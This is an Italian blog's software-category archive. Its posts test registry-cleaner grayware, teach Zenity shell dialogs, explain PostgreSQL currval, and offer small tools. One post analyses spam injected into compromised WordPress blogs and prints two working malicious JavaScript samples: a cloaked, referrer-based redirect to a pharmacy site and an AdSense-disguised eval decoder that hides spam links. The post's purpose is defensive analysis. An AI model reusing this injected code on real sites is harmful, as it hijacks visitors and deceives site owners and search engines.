Archivio per la categoria Software

Ripara, velocizza e pulisci! Cosa, non si sa.

Ho notato da un po’ che è praticamente impossibile capitare su un sito che parla di computer e informatica o fare una qualsiasi ricerca su Google riguardante sempre computer o informatica senza vedere la pubblicità di programmi per pulire e velocizzare il registro di Windows, mostrati nei banner di Google Ads.

I siti che li offrono sono apparentemente ben fatti e curati, anche se si notano alcune incertezze attribuibili ad un traduttore automatico. Bene in vista c’è il pulsante Scarica GRATIS!, anche se poco sotto appare la contraddittoria frase “100% Garanzia Soddisfatto o Rimborsato”. Se è gratis, cosa viene rimborsato?

Naturalmente ho fatto alcune analisi sul comportamento di questi software. Niente di esoterico, per carità, che fra l’altro è vietato dalla licenza stessa del software. Semplicemente ho fatto un controllo incrociato sulle presunte schifezze segnalate nel registro di Windows dal solerte software.

Ecco in dettaglio i test fatti. L’ambiente è una macchina virtuale Windows XP con SP2 installato, fresca di installazione, senza nulla aggiunto, mai connessa in rete prima. Il software ha una modalità automatica in cui esegue una scansione e mostra alla fine un rapporto sui problemi rilevati. Una seconda modalità di scansione consente invece di selezionare da un elenco cosa deve controllare, ad esempio chiavi di registro vuote, associazioni dei file, voci del menu di avvio, cronologia degli URL di Internet Explorer. Il responso del primo tipo di test è allarmante: 95 problemi rilevati. Su un computer fresco di installazione non è male. Andando a vedere quali siano i problemi, la situazione si fa imbarazzante. Ne elenco alcuni dei più singolari:

  • Sotto “Cronologia di IE” vi è una singola riga, relativa alla chiave “Software\Microsoft\Internet Explorer\TypedUrls” che vale “http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome”. Non sapevo che la pagina di default di Internet Explorer 6 fosse un problema.
  • Sotto “Chiavi Vuote del Registro” vi sono le impostazioni di alcuni screensaver (3DFlyingObj, 3DPipes e Bezier), che sono naturalmente vuote perché non è ancora mai stato impiegato uno screensaver, figuriamoci se configurato nelle sue proprietà. Ma la più gustosa è una chiave di registro appartenente al programma di pulizia appena installato. Non doveva pulire?
  • Nelle “Associazioni file” è considerato un problema che i file Wave abbiano nel menu di contesto “Apri con…” il Registratore di Suoni di Windows.
  • Per ultimo viene considerato un problema che l’applicazione cmmgr32.exe (il Microsoft Connection Manager) abbia il path di installazione scritto in una chiave di registro.

Provato un differente software che dichiara di offrire lo stesso servizio, i problemi riscontrati diventano 43, naturalmente non ne coincide neanche uno con i 95 rilevati dall’altro. E naturalmente nessuno dei due si accorge dell’altro.

Altra prova: installo Firefox 3.5 appena scaricato. Il primo fa lievitare gli errori da 95 a 106, il secondo insiste su 43 errori. Installo Gimp 2.4.4: nessuna variazione: 106 errori il primo, 43 il secondo. Nel frattempo l’avvio del computer virtuale è diventato sensibilmente più lento, perché ad ogni avvio effettua la scansione del registro e propone la pulizia mediante registrazione dei programmi.
Ragionando a cervello spento, cerco una utility che mi renda più veloce il computer, ottimizzando tutto. Ne trovo una che fa al caso mio, la installo. Riavvio il computer virtuale, che intanto impiega cinque volte tanto a mostrare il desktop, rispetto a quando era “sporco e non ottimizzato”. Appena aperto il desktop partono le tre scansioni: i due pulitori del registro e l’ottimizzatore, che non tarda a mostrare la sua potenza. Propone i seguenti interventi:

  • Sotto la categoria “Privacy files” sono elencati ben 232 problemi. In pratica sono la cache di Internet explorer, di Firefox, l’elenco dei siti visitati e qualche chiave di registro. Tutta roba che si può pulire tranquillamente dai browser stessi e senza installare niente in aggiunta.
  • Sotto la categoria “Network tweaks”, sono elencati 10 interventi fra cui “Incrementare la cache del browser”, “Controllare gli aggiornamenti della pagine web solo una volta per sessione”, “Impostare la cache a 5000kb” e “controllare l’aggiornamento dei contenuti solo una volta per sessione”. Sono le stesse due voci, duplicate con la stessa descrizione, perché vi sono due browser installati. La seconda, ossia controllare i contenuti sui siti web solo una volta per sessione, rende sì la navigazione più veloce, ma ha anche qualche effetto collaterale, che lascio da scoprire come compito a casa. In ogni caso, le impostazioni sono modificabili senza altri intermediari anche dai rispettivi browser.
  • Sotto la voce “Windows tweaks”, abbiamo ben 13 interventi, fra cui disabilitare l’animazione delle finestre e dei menu, non modificare la data di ultimo accesso dei file, non cancellare il file di paging all’uscita dal sistema operativo e per ultimo non usare il file di paging. Anche qui non c’è bisogno di un software specifico, e comunque, a parte il piccolo miglioramento nella velocità di risposta che si ottiene disabilitando gli effetti grafici, tutti gli altri interventi hanno i loro effetti collaterali.
  • Per ultimo, sotto la categoria “Startup tweaks”, troviamo elencati una serie di servizi da disabilitare che in realtà o sono già disabilitati, o poco usati, ma se disabilitati hanno alcuni effetti collaterali che non sono spiegati nel software.

Come è facile immaginare, anche per cancellare la cache del browser devo registrare il programma, acquistando una licenza al prezzo di 25 euro, scontato.

Ultima prova: ho disinstallato sia Gimp che Firefox, naturalmente chiedendo a Firefox di togliere tutti i suoi file e le sue chiavi di registro, oltre che tutti i dati del profilo. Il risultato è che mentre l’ottimizzatore vede meno cose da fare (non c’è più Firefox con la sua cache da pulire ed ottimizzare), gli altri due mostrano 108 e 47 problemi ciascuno. Naturalmente i problemi mostrati in più non coincidono fra loro.

Rimane l’ultima prova, la disintallazione. I tre programmi si eliminano senza tanti problemi, ma uno di essi lascia una chiave di registro per l’avvio automatico, solo che l’applicazione non c’è più. Ora il computer è tornato ad essere veloce come prima, all’avvio.

Conclusioni

Al di là delle prestazioni e dei vantaggi dichiarati, il prezzo richiesto non vale il lavoro fatto da questi programmi, nella migliore delle ipotesi. L’eccessivo numero di problemi riportati, che, lo ricordiamo, sono rilevati su un computer fresco di installazione, fa pensare che sia una strategia per indurre ad acquistare un prodotto in fondo inutile, le cui funzioni o sono già presenti nel sistema operativo o sono svolte da altre applicazioni gratuite e senza oneri di alcun tipo.
Insomma, questi software hanno un comportamento più simile ad un grayware, che ad un programma utile a qualcosa. Sia ben chiaro: i produttori di questi software non fanno nulla di illegale, in sé, soltanto usano delle tecniche di marketing piuttosto aggressive. Pensateci due volte prima di mettere mano alla carta di credito.

Tags: , ,

Fedora, Zenity, modem HSDPA e tempo da perdere

Ho giocato un po’ con le quattro cose del titolo, stimolato da un commento di Matteo Moro, questo. Il risultato è uno script shell molto semplice che chiede a quale porta è connesso il modem USB e mostra operatore a cui è connesso sulla rete GSM/3G ed il livello di segnale.

Se si opera da una shell, e non si ha a disposizione Zenity o un display X, lo script lavora totalmente da terminale, altrimenti passa in modalità GUI.

Per funzionare richiede che l’utente da cui viene eseguito abbia i diritti di scrittura sul device del modem. In Fedora basta assegnare all’utente anche il gruppo di sistema uucp, usando l’utility in Sistema, Amministrazione, Utenti e gruppi, oppure col comando:

# usermod -G uucp nomeutente

dato da root. Ricordo che per far valere le variazioni di permessi e gruppi ad un utente occorre terminare la sessione desktop e rientrare, altrimenti i nuovi gruppi non saranno attivi per l’utente.

E’ utile per capire se siamo agganciati all’operatore giusto e quanto segnale abbiamo senza fare strane manovre o digitare stringhe impossibili nel terminale.

Naturalmente, lo script non funziona se il modem è attivo, ossia stiamo connessi a Internet. Va lanciato prima di connettersi per controllare appunto la rete a cui siamo agganciati, ed evitare salassi al portafogli.

Lo script è qui:
ck3g (click col tasto destro e “salva con nome”). Ricordatevi di dargli i permessi di esecuzione con un chmod a+x ck3g, altrimenti non viene eseguito e lamenta un “permesso negato”. Non c’è nessun bisogno di eseguirlo da utente root.

L’utilità? Nessuna, è solo un esercizio di programmazione che mostra alcune tecniche per scrivere e leggere dai dispositivi con uno script shell, oltre all’uso di alcune funzioni di Zenity, di cui avevo già parlato in passato.

Riferimenti

Tags: , , ,

Analizzatore spettrografico di file

A seguito di uno scambio di idee con gli amici di CFItaly, mi è venuta l’idea di provare a giocare un po’ con l’analisi statistica del contenuto di un file generico. Non è una idea nuova (rif. Denis Frati), certamente no, ma al solito ogni tanto mi piace di curiosare in cose per me nuove.

Il risultato è un programmino semplicissimo, che ho chiamato Prisma.

L’idea è questa: in ogni tipologia di file la presenza di certi valori di byte non è casuale, ma è in qualche modo legata al contenuto del file stesso. Per cui un file di testo avrà una particolare distribuzione dei valori dei byte, mentre una immagine o un file eseguibile ne avranno una differente, anche in funzione della codifica. Analizzando le frequenze con cui ogni valore di byte compare nel file si potrebbero individuare anomalie nel contenuto del file stesso, come ad esempio un testo nascosto in un file audio, oppure più semplicemente file camuffati: immagini spacciate come file compressi e simili.

Funziona in questo modo: si forniscono in standard input i dati da analizzare, per esempio un file, e in uscita si hanno tre differenti tipi di output a scelta. Il primo, banale, è un file CSV con i dati di frequenza complessivi di tutti i dati forniti in ingresso. E’ utilizzabile per fare un grafico con OpenOffice Calc e simili.

L’altro output è grafico, sotto forma di immagine PNG, in due varianti: la più semplice mostra uno spettrogramma complessivo per tutti i dati in input, ed è semplicemente una differente rappresentazione dei dati forniti anche in CSV, tanto che si possono chiedere entrambi. La seconda opzione è più intrigante: produce una immagine larga 256 pixel in cui ogni riga è lo spettrogramma di un blocco di dati in input, e la dimensione del blocco è configurabile. In pratica si ha un colpo d’occhio sul contenuto del file, reso in forma grafica.

Spettro di un file di testo
Questo è lo spettro di un file di testo (la licenza GNU GPL per la precisione).

Spettro di un file Wave
Questo è quello che si ottiene usando un file Wave.

Spettrogramma di un file Wave
Questo invece è lo spettrogramma dello stesso file (clicca sull’immagine per la dimensione reale).

Il primo file è stato ottenuto col comando:


$ cat COPYING | prisma -p asciitext.png

Lo spettrogramma del file Wave invece è stato ottenuto col comando:


$ cat test.wav | prisma -p wave-big.png -b 100000

Per chi è interessato, il programma è rilasciato sotto licenza GNU GPLv2, ed il tarball dei sorgenti con il makefile per compilare ed installare il tutto, con tanto di pagine man in italiano ed inglese è scaricabile qui. Richiede le librerie e gli header di ImageMagick per la compilazione

Sono ovviamente graditi commenti e suggerimenti per il miglioramento.

Tags: , , ,

Spam con Wordpress: esempi di codice iniettato

Indagando sul recente sfruttamento di blog basati su Wordpress per carpirne il pagerank, al fine di vendere farmaci online, mi sono imbattuto in parecchi esempi di codice Javascript iniettato. Ne riporto quancuno, con l’analisi, al fine di mostrare cosa sia possibile fare anche solo con Javascript.

Partiamo dal primo esempio. Il codice era inserito in cima alla homepage di un blog:


<script language="JavaScript">
  var r=document.referrer,t="”,q;
  if (r.indexOf("google.") != -1) t = "q";
  if (r.indexOf("msn.") != -1) t = "q";
  if (r.indexOf("live.") != -1) t = "q";
  if (r.indexOf("yahoo.") != -1) t = "p";
  if (r.indexOf("altavista.") != -1) t = "q";
  if (r.indexOf("aol.") != -1) t = "query";
  if (r.indexOf("ask.") != -1) t = "q";
  if (document.cookie.length==0 && t.length &&
      (document.URL.indexOf("?certified=") != -1 ||
      document.URL.indexOf("?google-approved=") != -1) &&
      ((q=r.indexOf("?"+t+"=")) != -1 ||
      (q=r.indexOf("&"+t+"=")) != -1))
      {
	window.location="http://sito.farmaci/pharma/search.php?q=" +
	  r.substring(q+2+t.length).split("&")[0];
      }
</script>

La funzione dello script può essere riassunta in questo modo:

  1. Viene esaminato il referer: se è un motore di ricerca fra Google MSN, Live, Yahoo, Altavista, AOL o Ask, viene assegnata alla variabile t la stringa che identifica la query
  2. La sequenza di condizioni nell’ultimo statement if suona più o meno così:
    • se non ci sono cookie appartenenti al sito
    • se la variabile t non è vuota
    • l’url richiesto contiene ?certified= o ?google-approved=
    • vi è la sequenza di termini di ricerca nell’url del referer

    ossia, in breve, se l’url del referer è più o meno così: http://motorediricerca/search?hl=it&q=parole+chiave e l’url cercato è più o meno così: http://blog.violato/?certified=222 il browser viene rediretto a http://sito.farmaci/pharma/search.php?q=parole+chiave

Il redirect quindi non si attiva se un visitatore arriva da un altro sito qualsiasi, né se ha già visitato il sito in precedenza. Non si attiva neppure se la stringa di query manca o è incompleta nell’url del referer, determinando così un meccanismo di occultamento a danno sia del proprietario del sito che dei suoi amici e visitatori abituali.

Vediamo ora un secondo esempio.

Questo è presente sempre in alcuni dei blog compromessi. Il codice malevolo reagisce allo user agent: se è lo spider di un motore di ricerca noto, la pagina principale viene riempita di link a beneficio dello spider. Per maggiore sicurezza, i link sono all’interno di un <div> che ha ID uguale a _wp-footer. Notare che il tag non ha attributi di stile, e che l’ID assomiglia ad uno comunemente usato in WordPress, ma c’è un segno di underscore all’inizio. Ecco il codice Javascript associato:


<div id="_wp_footer">
...lunga sequenza di link con nomi di farmaci noti...
</div>
<script type="text/javascript"><!--
  google_ad_client = "pub-7652328300112263";
  google_ad_width = 728;
  google_ad_height = 15;
  google_ad_format = "728x15_0ads_al_s";
  google_ad_channel = "";
  function google_ads(str) {
    var idx = str.indexOf('?');
    if (idx == -1) return str;
    var len = str.length;
    var new_str = "”;
    var i = 1;
    for (++idx; idx < len; idx += 2,i++) {
      var ch = parseInt(str.substr(idx, 2), 16);
      new_str += String.fromCharCode((ch + i) % 256);
    }
  eval(new_str);
  }
  google_ads("http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E455C544248504F53434F0304084C4C50423A02373B44403B2F4609ED3838362CE800");
  //-->
</script>

Ad una occhiata distratta sembra un normale segmento di script per Google AdSense, ma qualcosa non quadra. Il for contiene una semplice funzione di decodifica. Basta sostituire alla funzione eval vicino alla fine con alert o con document.write: il risultato lo vediamo in figura.

Codice JS per occultare un blocco DIV

In stringa:


document.getElementById('_wp-footer').style.display="none";

La funzione di questo minuscolo pezzo di codice è di inserire lo stile display:none negli attributi del blocco div con ID _wp-footer, in breve di non visualizzarlo.
In questo modo se qualcuno cerca nelle pagine qualcosa di nascosto tramite lo stile display:none non lo troverà mai. Si tratta di protezione per offuscamento del codice.

Questi ed altri indizi mostrano che il codice malevolo è in evoluzione: a partire dalla variante detta Goro Spam, dove lo stile era esplicito nella pagina, si è passati all’offuscamento proprio di quello stile ed all’uso di un ID con nome molto comune. Sta diventando sempre più difficile trovare siti compromessi, certo non per via dell’esaurirsi dell’attacco, piuttosto per la maggiore sofisticazione impiegata dall’attaccante.

Appena avrò maggiori dettagli pubblicherò altri articoli. Nel frattempo, massima attenzione alle homepage dei vostri blog.

Tags: , , ,

Database, campi ad autoincremento ed INSERT

Mi trovo, mio malgrado, a sviluppare una applicazione web in PHP per gestire un impianto. Le ragioni che mi hanno portato a questo sono troppo lunghe da spiegare, per cui andiamo al sodo.

Alle spalle dell’applicazione vi è un database PostgreSQL per mantenere lo stato e la coerenza del flusso di lavorazione (è una applicazione di gestione di processo). Alcune tabelle nel database hanno un campo ad autoincremento, che in PostgreSQL è definito dal tipo serial (esiste anche in MySQL ed è un alias equivalente a: BIGINT UNSIGNED NOT NULL AUTO_INCREMENT UNIQUE). Questo campo ha la caratteristica interessante che al momento di una query INSERT se viene omesso dai dati da inserire nel nuovo record, viene assegnato automaticamente da PostgreSQL con l’intero successivo all’ultimo usato, partendo da 1. Per intenderci: il primo INSERT lo assegnerà al valore 1, il secondo al 2, il terzo a 3 e via così. Questo garantisce che non vi saranno duplicati, e quindi il campo si può usare come identificativo univoco. Tant’è che nelle tabelle in questione il campo l’ho chiamato ID, con la solita mancanza di fantasia.

Fin qui nulla di strano, ma… Dopo una query di INSERT, a parte controllare se sia andata a buon fine, se mi serve di sapere quale ID è stato assegnato al record inserito come faccio? Sulle prime avevo ingenuamente (e molto inespertamente) pensato di fare una query con gli stessi valori inseriti e vedere che ID mi restituiva. Ma vi potevano essere record con valori uguali tranne l’ID, quindi questa soluzione non va. Poi ho pensato di usare il MAX sull’intera colonna degli ID, ed anche qui vi potevano essere parecchie controindicazioni.

Poi, come sempre accade, invece di smanettare a cervello spento, mi sono fatto la domanda chiave: possibile che non esista una funzione nativa apposita? Ebbene, esiste ed è proprio quello che serve, oltre ad essere assolutamente corretta anche in caso di inserimenti multipli concorrenti sulla stessa tabella. La funzione è currval in PostgreSQL e LAST_INSERT_ID in MySQL. In entrambi i database la funzione è isolata per connessione al database, quindi anche in caso di utilizzo concorrente con query di INSERT parallele, il valore restituito è coerente. Se si avessero dei dubbi, basta consultare la documentazione in merito, e alla peggio ricorrere ad una transazione per isolare l’operazione.

Come si usa è presto detto: appena dopo una query di INSERT, si controlla se è andata a buon fine, poi si esegue questa query (per PostgreSQL):


SELECT currval(tabella_id_seq) as id;

che andiamo a spiegare. Al momento della creazione di una tabella che contiene un campo di tipo serial, PostgreSQL crea implicitamente un oggetto sequence, che altro non è che un numero intero che conserva l’ultimo valore usato nel rispettivo campo di tipo serial. Il nome assegnato all’oggetto sequenza è il nome della tabella, seguito dal nome del campo e dalla stringa “seq”, separati da un segno di underscore. Se ad esempio la tabella si chiama libri ed il campo al suo interno di tipo serial si chiama idlibro, la sequenza implicitamente creata avrà come nome: libri_idlibro_seq. Quindi la query specifica per questa tabella per conoscere l’ultimo valore di idlibro generato da PostgreSQL sarà:


SELECT currval(libri_idlibro_seq) as ultimoid;

Molto più semplice che inventarsi funzioni apposite (dal funzionamento quanto mai incerto), o peggio inventare l’acqua calda, ossia scrivere codice per una funzione che esiste già nativa sul software che andiamo ad utilizzare.

Riferimenti

  • Il manuale di PostgreSQL
  • Il manuale di MySQL
  • Il manuale di PHP, alla voce pg_last_oid(), che indirizza alla funzione giusta, ossia currval

Tags: , , ,

Aggiungere interfacce grafiche agli script shell #3

In questa terza puntata vediamo come Zenity ci può aiutare con i file.

L’opzione è --file-selection, ed accetta l’opzione generale --title per dare il titolo alla finestra che appare:


$ zenity  --file-selection --title="Prendi un file"

Questo il risultato:

Zenity File Selection 1

Al solito il valore di ritorno è true, ossia zero, se si preme il pulsante OK, false, diverso da zero, se si preme il pulsante Annulla o si chiude la finestra. Il file scelto viene stampato sullo standard output con il path completo. Se dalla finestra mostrata in figura scelgo il file avatar.png all’uscita di Zenity con la pressione del tasto OK viene stampato:


$ zenity  --file-selection --title="Prendi un file"
/home/mario/Desktop/avatar.png

Ecco un breve script shell che mostra come usare la selezione file di Zenity:


#!/bin/bash

# mostra la finestra di selezione file e assegna il file scelto
# che zenity manda allo standard output alla variabile "filescelto"
# notare i "backtick" -> ` `
filescelto=`zenity --file-selection --title="Zenity: seleziona un file"`

# prende il valore di ritorno del comando precedente
ritorno=$?

# controlla se si è premuto OK o Annulla
if [ "$ritorno" -ne 0 ]; then
  # è stato premuto annulla o chiusa la finestra
  zenity --warning --title="Test di Zenity" --text="Hai annullato"
  exit 1
else
  # è stato premuto OK
  zenity --info --title="Test di Zenity" --text="Hai scelto il file: '$filescelto'"
fi

Lo script è disponibile qui.

La directory di partenza è quella attuale, ma è possibile cambiarla a piacimento usando l’opzione --filename=FILE, mettendo al posto di FILE il percorso voluto, completo di barra finale se è una directory:


$ zenity  --file-selection --title="Prendi un file" --filename=/usr/share/doc/

Mostra questa finestra:

Zenity File Selection 2

Usato in questo modo permette di scegliere un solo file. Se vogliamo selezionare più file possiamo usare le due opzioni --multiple e --separator=C dove C è il carattere che vogliamo venga utilizzato per separare i file fra loro nell’output, quello predefinito è la barra verticale (il pipe, ‘|‘). Per selezionare più file basta tenere premuto il tasto Control (Ctrl) mentre si puntano i file con un clic del mouse.

Se invece vogliamo restringere la selezione solo alle directory, si usa l’opzione --directory. In questo caso i file saranno visualizzati in grigio e non saranno selezionabili. Vale anche per le directory l’opzione --multiple.

Se intendiamo salvare un file, le finestre di dialogo mostrare non aiutano, perché non permettono di digitare il nome di un file. Basta però utilizzare l’opzione --save, ed appare la consueta finestra di dialogo del salvataggio file. Il file non viene creato, e si può controllare l’esistenza di un file con lo stesso nome includendo l’opzione --confirm-overwrite. In questo caso se viene scelto un file già esistente viene proposto un messaggio di avvertimento:

Zenity File Selection 3

Se si risponde Annulla si rimane nella finestra di selezione e si può scegliere un altro nome, mentre se si preme Sostituisci, Zenity ritorna con il nome del file scelto. Il file non viene comunque toccato, sta a noi decidere il suo destino nel resto dello script shell.

Combinando invece le due opzioni --save e --directory, il comportamento cambia: il nome che viene scritto è inteso come nome di directory, che viene creata immediatamente alla pressione del tasto OK.

Invece l’opzione --multiple è incompatibile con la modalità salvataggio, ed è ignorata con l’emissione di un messaggio di avvertimento.

Tags: , ,

Aggiungere interfacce grafiche agli script shell #2

Nella prima parte abbiamo visto come porre una semplice domanda e come notificare all’utente lo stato dell’esecuzione in uno script shell.

In questa seconda parte ci occuperemo della possibilità offerta da Zenity di manipolare l’input e l’output di testo.

Per avere un input dall’utente in forma di testo scritto, l’opzione da usare è --entry, in questo modo:


$ zenity --entry --title="Un input di testo" --text="Inserisci qualcosa"

Il cui risultato è:

Zenity Entry Dialog 1

Possiamo decidere la dimensione della finestra di dialogo con l’opzione --width=N dove N è la larghezza totale in pixel, e possiamo fornire un testo predefinito già inserito nella casella con l’opzione --entry-text=stringa, come in questo esempio:


$ zenity --entry --width=300 --title="Un input di testo" --text="Inserisci qualcosa" --entry-text="Questo è già dentro"

Il cui risultato è:

Zenity Entry Dialog 2

Il testo digitato viene stampato nello standard output alla pressione del pulsante OK, mentre niente viene restituito se si preme il pulsante Annulla. Contestualmente, il valore di ritorno è zero (true) se si preme OK e diverso da zero se si preme annulla o si chiude la finestra dal pulsante nella barra del titolo.

Ecco un pezzetto di codice in Bash che distingue fra le varie situazioni:


#!/bin/bash

# mostra la finestra di dialogo e assegna quello che zenity manda allo
# standard output alla variabile "varstringa"
# notare i "backtick" -> ` `
varstringa=`zenity --entry --width=300 --title="Zenity: input di testo" --text="Inserisci qualcosa"`

# prende il valore di ritorno del comando precedente
ritorno=$?

# controlla se si è premuto OK o Annulla
if [ "$ritorno" -ne 0 ]; then
  # è stato premuto annulla o chiusa la finestra
  zenity --warning --title="Test di Zenity" --text="Hai annullato"
  exit 1
else
  # è stato premuto OK
  zenity --info --title="Test di Zenity" --text="Hai scritto: '$varstringa'"
fi

Il codice è anche qui.

Una ulteriore opzione, --hide-text, permette di nascondere il testo durante la digitazione come durante l’inserimento di una password:


$ zenity --entry --title="Input nascosto" --text="Inserisci una password" --hide-text

Il cui risultato, digitando qualcosa, è:

Zenity Entry Dialog 3

Se invece di una singola riga vogliamo mostrare un testo lungo, come ad esempio un file di log, l’opzione da usare è --text-info, nella sua forma più semplice:


$ zenity --text-info --title="Vedere un intero file" --filename zenity-entry-02

che mostra il file zenity-entry-02 all’interno di una finestra:

Zenity Text 1

L’opzione --filename permette di specificare un file da mostrare. Se si vuole poter cambiare il contenuto mostrato si può usare l’opzione --editable che consente modifiche al testo mostrato, con queste limitazioni:

  • Non si ha praticamente nessuna funzione avanzata di editing.
  • Le righe troppo lunghe vengono spezzate solo a video, mandandole a capo. Nell’output rimangono invece integre.
  • Il file non viene modificato. Il testo completo viene stampato sullo standard output, e tocca a noi catturarlo e dirigerlo su un altro file.

Se poi avete esperienza di shell script saprete anche che usando questo comando:


$ zenity --text-info --filename zenity-entry-02 --editable > zenity-entry-02

si giunge ad un risultato ben diverso da quello atteso: il file zenity-entry-02 viene svuotato del contenuto e la finestra di Zenity viene mostrata vuota, perché nella ridirezione dell’output il file zenity-entry-02 viene aperto in scrittura e troncato a zero byte prima di eseguire il comando Zenity.

Il testo mostrato può anche essere fornito dinamicamente:


$ find / -name "*.pdf" | zenity --text-info --title="I file pdf sul tuo disco" 

che produce questo:

Zenity Text 2

con la lista dei file PDF che viene allungata man mano che il comando find ne trova altri.

Per ora chiudiamo qui, ma Zenity ci riserva molte altre sorprese.

Tags: , ,

Aggiungere interfacce grafiche agli script shell #1

Lavorando molto con Linux, si impara che con uno script shell si possono fare cose impensabili. La filosofia di Unix, da cui Linux ha attinto molto, è di fornire tante piccole utility, combinabili per ottenere risultati complessi a piacere.

Esempi ce ne sono tantissimi, piuttosto che presentare il codice di ognuno, basta dire che in un solo comando si possono convertire tutti i file MP3 in un albero di directory in formato OGG, oppure cercare e stampare tutte le immagini PNG su un disco, scalare tutte le immagini e salvarle in un altro formato, rinominare tutti i file in minuscolo, ecc. ecc., tutto con le utility fornite “di serie” in praticamente tutte le distribuzioni Linux.

Quello che manca agli script shell è una interfaccia utente. O meglio, non è che ce ne sia proprio il bisogno, ma in qualche caso, con utenti particolarmente refrattari, o semplicemente per impedire all’utente stesso di fare danni, può essere utile aggiungere un po’ di frivolezza agli austeri script, dotandoli di un minimo di GUI.

Per chi usa GNOME come desktop (funziona anche con KDE, basta avere installate le librerie appropriate), esiste l’utility
Zenity. Il suo funzionamento è molto semplice: in funzione dei parametri sulla riga di comando, Zenity mostra finestre di dialogo di vario tipo, ed all’uscita comunica nei modi consueti delle utility cosa ha scelto o cliccato l’utente.

Vediamo un esempio: una finestra di dialogo con un semplice messaggio generico. Apriamo una finestra terminale e digitiamo il comando:


$ zenity --info --title="Ecco Zenity" --text="Un messaggio informativo qualsiasi"

Apparirà una finestra di dialogo come questa:
Zenity Info
Oppure vogliamo fare una domanda con risposta “OK” o “Annulla”:


$ zenity --question --title='Una domanda da Zenity' --text="Vuoi che ti mostri cosa so fare?"

e la finestra sarà come questa:
Zenity Question
Vediamo di comprenderne il funzionamento. Per decidere cosa deve mostrare, Zenity necessita di un parametro che indica appunto il tipo di dialog, Nei due esempi il parametro è rispettivamente --info e --question. Il parametro --text fornisce il testo del messaggio o della domanda. Il parametro --title è invece il titolo della finestra; può essere specificato in tutti i tipi di finestre di dialogo, tranne nelle icone di notifica, che vedremo poi.

Rimane il problema di capire cosa ha fatto l’utente. Nella finestra di dialogo informativa in effetti ci si aspetta solo che si legga il messaggio e basta, quindi il valore di ritorno sarebbe ininfluente, ma per regola generale se si chiude la finestra di dialogo cliccando sul pulsante “X” nel titolo della finestra, Zenity uscirà con valore di ritorno false che nella programmazione shell è un valore diverso da zero. Se invece si clicca sul pulsante “OK” Zenity ritorna true ossia esattamente zero.

Stessa cosa avviene per la finestra di dialogo con la domanda, solo che anche quando si preme il pulsante “Annulla” Zenity ritorna false. Per controllare il valore di ritorno in Bash si può usare questo metodo:


zenity --question --title='Una domanda da Zenity' --text="Vuoi che ti mostri cosa so fare?"
res=$?

if [ "$res" -ne 0 ]; then
  # hai premuto annulla o hai chiuso la finestra
  # esco dallo script
  exit 1
fi
# hai premuto "ok"
# proseguo con lo script

Il pezzetto di codice mostrato mostra la finestra di dialogo con la domanda, vista prima, attende il ritorno di Zenity e ne prende il codice di uscita ($? viene sostituito con il valore di ritorno dell’ultimo comando eseguito). Se l’utente ha premuto “Annulla” o ha chiuso la finestra esce dallo script.

Prima di chiudere vediamo altre due finestre di dialogo, essenzialmente identiche a quella informativa. La prima è una finestra di avvertimento:


$ zenity --warning --title="Ti avverto..." --text="Troppo tempo è passato dall'ultimo backup"

che produce questo risultato:
Zenity Warning
La seconda è una finestra di errore:


$ zenity --error --title="Ho trovato un errore" --text="Non hai ancora installato Linux. Male."

che mostra questo:
Zenity Error
In pratica cambia soltanto l’icona che accompagna il messaggio.

Una ultima cosa: lo stile e le icone mostrate sono definite dal tema del desktop installato, per cui colori, font e immagini seguono le impostazioni del desktop.

Nel prossimo articolo vedremo altre funzioni di Zenity.

Convertitore simboli da OrCAD™ a gEDA

E’ un convertitore di formato dalle librerie di simboli del noto programma di EDA (Electronic Design Automation) al formato usato dal programma open source gEDA.

Sviluppato nel 2002, soprattutto per provare il funzionamento del generatore di analizzatori lessicali flex, non è più mantenuto da lungo tempo.
Nella distribuzione sono compresi i sorgenti per Linux ed il file di make.

I sorgenti potete prelevarli qui.

Leggere file .conf

Per un vecchio progetto ho sviluppato un parser per i file di configurazione. Accetta una sintassi semplificata, basata sul modello variabile=valore. Al momento accetta tre diversi tipi di variabili (intere, virgola mobile e stringa), commenti ed altro ancora. Se avete bisogno di leggere la configurazione dei vostri programmi da file, questo potrebbe essere il modulo che fa per voi.

Nella distribuzione sono compresi i sorgenti per Linux, il file di make per generare libreria statica e shared, la documentazione ed un paio file di test.

I sorgenti potete prelevarli qui.